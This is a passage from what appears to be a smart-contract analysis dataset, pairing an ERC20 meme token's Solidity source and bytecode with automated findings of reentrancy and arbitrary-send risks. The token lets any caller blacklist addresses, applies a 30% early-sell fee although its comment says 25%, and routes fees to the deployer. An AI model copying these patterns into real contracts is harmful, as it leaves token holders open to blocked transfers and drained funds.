cd60e51b815260040161045291906119f6565b50600061106c8486611b45565b95945050505050565b600c546001600160a01b03166108fc61108f8360026113a2565b6040518115909202916000818181858888f193505050501580156110b7573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d28360026113a2565b6040518115909202916000818181858888f19350505050158015610634573d6000803e3d6000fd5b60006006548211156111615760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610452565b600061116b61140f565b905061117783826113a2565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122857600080fd5b505afa15801561123c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126091906117f3565b8160018151811061128157634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a79130911684610b05565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e0908590600090869030904290600401611a7e565b600060405180830381600087803b1580156112fa57600080fd5b505af115801561130e573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600082611332575060006103b9565b600061133e8385611b26565b90508261134b8583611b06565b146111775760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610452565b600061117783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611432565b806113f1576113f1611460565b6113fc848484611483565b8061103557611035600160085560098055565b600080600061141c61157a565b909250905061142b82826113a2565b9250505090565b600081836114535760405162461bcd60e51b815260040161045291906119f6565b50600061106c8486611b06565b6008541580156114705750600954155b1561147757565b60006008819055600955565b600080600080600080611495876115bc565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c79087611619565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f6908661165b565b6001600160a01b038916600090815260026020526040902055611518816116ba565b6115228483611704565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156791815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159682826113a2565b8210156115b357505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115d98a600854600954611728565b92509250925060006115e961140f565b905060008060006115fc8e878787611777565b919e509c509a509598509396509194505050505091939550919395565b600061117783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103b565b6000806116688385611aee565b9050838110156111775760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610452565b60006116c461140f565b905060006116d28383611323565b306000908152600260205260409020549091506116ef908261165b565b30600090815260026020526040902055505050565b6006546117119083611619565b600655600754611721908261165b565b6007555050565b600080808061173c6064610ac48989611323565b9050600061174f6064610ac48a89611323565b90506000611767826117618b86611619565b90611619565b9992985090965090945050505050565b60008080806117868886611323565b905060006117948887611323565b905060006117a28888611323565b905060006117b4826117618686611619565b939b939a50919850919650505050505050565b80356117d281611ba3565b919050565b6000602082840312156117e8578081fd5b813561117781611ba3565b600060208284031215611804578081fd5b815161117781611ba3565b60008060408385031215611821578081fd5b823561182c81611ba3565b9150602083013561183c81611ba3565b809150509250929050565b60008060006060848603121561185b578081fd5b833561186681611ba3565b9250602084013561187681611ba3565b929592945050506040919091013590565b60008060408385031215611899578182fd5b82356118a481611ba3565b946020939093013593505050565b600060208083850312156118c4578182fd5b823567ffffffffffffffff808211156118db578384fd5b818501915085601f8301126118ee578384fd5b81358181111561190057611900611b8d565b8060051b604051601f19603f8301168101818110858211171561192557611925611b8d565b604052828152858101935084860182860187018a1015611943578788fd5b8795505b8386101561196c57611958816117c7565b855260019590950194938601938601611947565b5098975050505050505050565b60006020828403121561198a578081fd5b813561117781611bb8565b6000602082840312156119a6578081fd5b815161117781611bb8565b6000602082840312156119c2578081fd5b5035919050565b6000806000606084860312156119dd578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2257858101830151858201604001528201611a06565b81811115611a335783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611acd5784516001600160a01b031683529383019391830191600101611aa8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0157611b01611b77565b500190565b600082611b2157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4057611b40611b77565b500290565b600082821015611b5757611b57611b77565b500390565b6000600019821415611b7057611b70611b77565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ee57600080fd5b80151581146104ee57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d5b5d6a69db045077fbfb4716c56e6b73e2851d58086695998776e52a10c08bf64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,132 |
0xc2073413406CD24f5DFa43128AE8401527C4f77F | //SPDX-License-Identifier: Unlicensed
// https://t.me/elonapetoken
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonApe is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 200000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Elon Ape";
string private constant _symbol = "ELONAPE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_maxTxAmount = 2000 * 10 ** 9;
emit Transfer(address(_msgSender()), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isBuy(from)) {
// TAX SELLERS 25% WHO SELL WITHIN 4 HOURS
if (_buyMap[from] != 0 &&
(_buyMap[from] + (4 hours) >= block.timestamp)) {
_feeAddr1 = 2;
_feeAddr2 = 28;
} else {
_feeAddr1 = 2;
_feeAddr2 = 5;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 2;
_feeAddr2 = 5;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function createPair() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
}
function addLiquidity() public onlyOwner{
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function enableTrading() external onlyOwner{
tradingOpen = true;
}
function setBots(address[] memory bots_) public {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = _rTotal;
}
function delBot(address notbot) public {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c2d0ffca1161006f578063c2d0ffca1461038c578063c3c8cd80146103ac578063cc653b44146103c1578063dd62ed3e146103f7578063e8078d941461043d578063ff8726021461045257600080fd5b80638da5cb5b146102df57806395d89b41146103075780639e78fb4f14610337578063a9059cbb1461034c578063b515566a1461036c578063bc3371821461038c57600080fd5b8063313ce56711610108578063313ce567146102445780635932ead1146102605780636fc3eaec1461028057806370a0823114610295578063715018a6146102b55780638a8c523c146102ca57600080fd5b806306fdde0314610150578063095ea7b31461019357806318160ddd146101c357806323b872dd146101e6578063273123b71461020657600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50604080518082019091526008815267456c6f6e2041706560c01b60208201525b60405161018a91906116bb565b60405180910390f35b34801561019f57600080fd5b506101b36101ae366004611735565b610467565b604051901515815260200161018a565b3480156101cf57600080fd5b5065b5e620f480005b60405190815260200161018a565b3480156101f257600080fd5b506101b3610201366004611761565b61047e565b34801561021257600080fd5b506102426102213660046117a2565b6001600160a01b03166000908152600760205260409020805460ff19169055565b005b34801561025057600080fd5b506040516009815260200161018a565b34801561026c57600080fd5b5061024261027b3660046117cd565b6104e7565b34801561028c57600080fd5b50610242610538565b3480156102a157600080fd5b506101d86102b03660046117a2565b610565565b3480156102c157600080fd5b50610242610587565b3480156102d657600080fd5b506102426105fb565b3480156102eb57600080fd5b506000546040516001600160a01b03909116815260200161018a565b34801561031357600080fd5b50604080518082019091526007815266454c4f4e41504560c81b602082015261017d565b34801561034357600080fd5b5061024261063a565b34801561035857600080fd5b506101b3610367366004611735565b6106f8565b34801561037857600080fd5b50610242610387366004611800565b610705565b34801561039857600080fd5b506102426103a73660046118c5565b610771565b3480156103b857600080fd5b506102426107a0565b3480156103cd57600080fd5b506101d86103dc3660046117a2565b6001600160a01b031660009081526004602052604090205490565b34801561040357600080fd5b506101d86104123660046118de565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561044957600080fd5b506102426107d6565b34801561045e57600080fd5b50610242610ad1565b6000610474338484610b03565b5060015b92915050565b600061048b848484610c27565b6104dd84336104d885604051806060016040528060288152602001611add602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610fe8565b610b03565b5060019392505050565b6000546001600160a01b0316331461051a5760405162461bcd60e51b815260040161051190611917565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461055857600080fd5b4761056281611022565b50565b6001600160a01b0381166000908152600260205260408120546104789061105c565b6000546001600160a01b031633146105b15760405162461bcd60e51b815260040161051190611917565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106255760405162461bcd60e51b815260040161051190611917565b600f805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146106645760405162461bcd60e51b815260040161051190611917565b600f54600160a01b900460ff16156106be5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610511565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610562308265b5e620f48000610b03565b6000610474338484610c27565b60005b815181101561076d576001600760008484815181106107295761072961194c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061076581611978565b915050610708565b5050565b6000546001600160a01b0316331461079b5760405162461bcd60e51b815260040161051190611917565b601055565b600d546001600160a01b0316336001600160a01b0316146107c057600080fd5b60006107cb30610565565b9050610562816110e0565b6000546001600160a01b031633146108005760405162461bcd60e51b815260040161051190611917565b600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610853573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108779190611993565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fd9190611993565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561094a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096e9190611993565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061099e81610565565b6000806109b36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a4091906119b0565b5050600f805461ffff60b01b19811661010160b01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610aad573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056291906119de565b6000546001600160a01b03163314610afb5760405162461bcd60e51b815260040161051190611917565b600954601055565b6001600160a01b038316610b655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610511565b6001600160a01b038216610bc65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610511565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610511565b6001600160a01b038216610ced5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610511565b60008111610d4f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610511565b600f546001600160a01b03848116911614610dd3576001600160a01b03831660009081526004602052604090205415801590610db057506001600160a01b0383166000908152600460205260409020544290610dad906138406119fb565b10155b15610dc4576002600b55601c600c55610e17565b6002600b556005600c55610e17565b6001600160a01b038216600090815260046020526040902054610e0c576001600160a01b03821660009081526004602052604090204290555b6002600b556005600c555b6000546001600160a01b03848116911614801590610e4357506000546001600160a01b03838116911614155b15610fd8576001600160a01b03831660009081526007602052604090205460ff16158015610e8a57506001600160a01b03821660009081526007602052604090205460ff16155b610e9357600080fd5b600f546001600160a01b038481169116148015610ebe5750600e546001600160a01b03838116911614155b8015610ee357506001600160a01b03821660009081526006602052604090205460ff16155b8015610ef85750600f54600160b81b900460ff165b15610f6b57600f54600160a01b900460ff16610f1357600080fd5b601054811115610f2257600080fd5b6001600160a01b0382166000908152600860205260409020544211610f4657600080fd5b610f5142601e6119fb565b6001600160a01b0383166000908152600860205260409020555b6000610f7630610565565b600f54909150600160a81b900460ff16158015610fa15750600f546001600160a01b03858116911614155b8015610fb65750600f54600160b01b900460ff165b15610fd657610fc4816110e0565b478015610fd457610fd447611022565b505b505b610fe383838361125a565b505050565b6000818484111561100c5760405162461bcd60e51b815260040161051191906116bb565b5060006110198486611a13565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561076d573d6000803e3d6000fd5b60006009548211156110c35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610511565b60006110cd611265565b90506110d98382611288565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111285761112861194c565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611181573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a59190611993565b816001815181106111b8576111b861194c565b6001600160a01b039283166020918202929092010152600e546111de9130911684610b03565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611217908590600090869030904290600401611a2a565b600060405180830381600087803b15801561123157600080fd5b505af1158015611245573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fe38383836112ca565b60008060006112726113c1565b90925090506112818282611288565b9250505090565b60006110d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113fd565b6000806000806000806112dc8761142b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061130e9087611488565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133d90866114ca565b6001600160a01b03891660009081526002602052604090205561135f81611529565b6113698483611573565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113ae91815260200190565b60405180910390a3505050505050505050565b600954600090819065b5e620f480006113da8282611288565b8210156113f45750506009549265b5e620f4800092509050565b90939092509050565b6000818361141e5760405162461bcd60e51b815260040161051191906116bb565b5060006110198486611a9b565b60008060008060008060008060006114488a600b54600c54611597565b9250925092506000611458611265565b9050600080600061146b8e8787876115ec565b919e509c509a509598509396509194505050505091939550919395565b60006110d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fe8565b6000806114d783856119fb565b9050838110156110d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610511565b6000611533611265565b90506000611541838361163c565b3060009081526002602052604090205490915061155e90826114ca565b30600090815260026020526040902055505050565b6009546115809083611488565b600955600a5461159090826114ca565b600a555050565b60008080806115b160646115ab898961163c565b90611288565b905060006115c460646115ab8a8961163c565b905060006115dc826115d68b86611488565b90611488565b9992985090965090945050505050565b60008080806115fb888661163c565b90506000611609888761163c565b90506000611617888861163c565b90506000611629826115d68686611488565b939b939a50919850919650505050505050565b60008261164b57506000610478565b60006116578385611abd565b9050826116648583611a9b565b146110d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610511565b600060208083528351808285015260005b818110156116e8578581018301518582016040015282016116cc565b818111156116fa576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461056257600080fd5b803561173081611710565b919050565b6000806040838503121561174857600080fd5b823561175381611710565b946020939093013593505050565b60008060006060848603121561177657600080fd5b833561178181611710565b9250602084013561179181611710565b929592945050506040919091013590565b6000602082840312156117b457600080fd5b81356110d981611710565b801515811461056257600080fd5b6000602082840312156117df57600080fd5b81356110d9816117bf565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561181357600080fd5b823567ffffffffffffffff8082111561182b57600080fd5b818501915085601f83011261183f57600080fd5b813581811115611851576118516117ea565b8060051b604051601f19603f83011681018181108582111715611876576118766117ea565b60405291825284820192508381018501918883111561189457600080fd5b938501935b828510156118b9576118aa85611725565b84529385019392850192611899565b98975050505050505050565b6000602082840312156118d757600080fd5b5035919050565b600080604083850312156118f157600080fd5b82356118fc81611710565b9150602083013561190c81611710565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561198c5761198c611962565b5060010190565b6000602082840312156119a557600080fd5b81516110d981611710565b6000806000606084860312156119c557600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119f057600080fd5b81516110d9816117bf565b60008219821115611a0e57611a0e611962565b500190565b600082821015611a2557611a25611962565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a7a5784516001600160a01b031683529383019391830191600101611a55565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ab857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ad757611ad7611962565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f38dce54704cd967fc1504c04553c19d08278d00a5e7025c2e549cfdbcebb94d64736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,133 |
0xc3a9b2be34d7605eef2ec39c7f5b00e71552d319 | // Sources flattened with hardhat v2.0.7 https://hardhat.org
// File contracts/CrowdfundStorage.sol
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.4;
/**
* @title CrowdfundProxy
* @author MirrorXYZ
*/
contract CrowdfundStorage {
// The two states that this contract can exist in. "FUNDING" allows
// contributors to add funds.
enum Status {FUNDING, TRADING}
// ============ Constants ============
// The factor by which ETH contributions will multiply into crowdfund tokens.
uint16 internal constant TOKEN_SCALE = 1000;
uint256 internal constant REENTRANCY_NOT_ENTERED = 1;
uint256 internal constant REENTRANCY_ENTERED = 2;
uint8 public constant decimals = 18;
// ============ Immutable Storage ============
// The operator has a special role to change contract status.
address payable public operator;
address payable public fundingRecipient;
// We add a hard cap to prevent raising more funds than deemed reasonable.
uint256 public fundingCap;
// The operator takes some equity in the tokens, represented by this percent.
uint256 public operatorPercent;
string public symbol;
string public name;
// ============ Mutable Storage ============
// Represents the current state of the campaign.
Status public status;
uint256 internal reentrancy_status;
// ============ Mutable ERC20 Attributes ============
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint256) public nonces;
// ============ Delegation logic ============
address public logic;
}
// File contracts/CrowdfundLogic.sol
/**
* @title CrowdfundLogic
* @author MirrorXYZ
*
* Crowdfund the creation of NFTs by issuing ERC20 tokens that
* can be redeemed for the underlying value of the NFT once sold.
*/
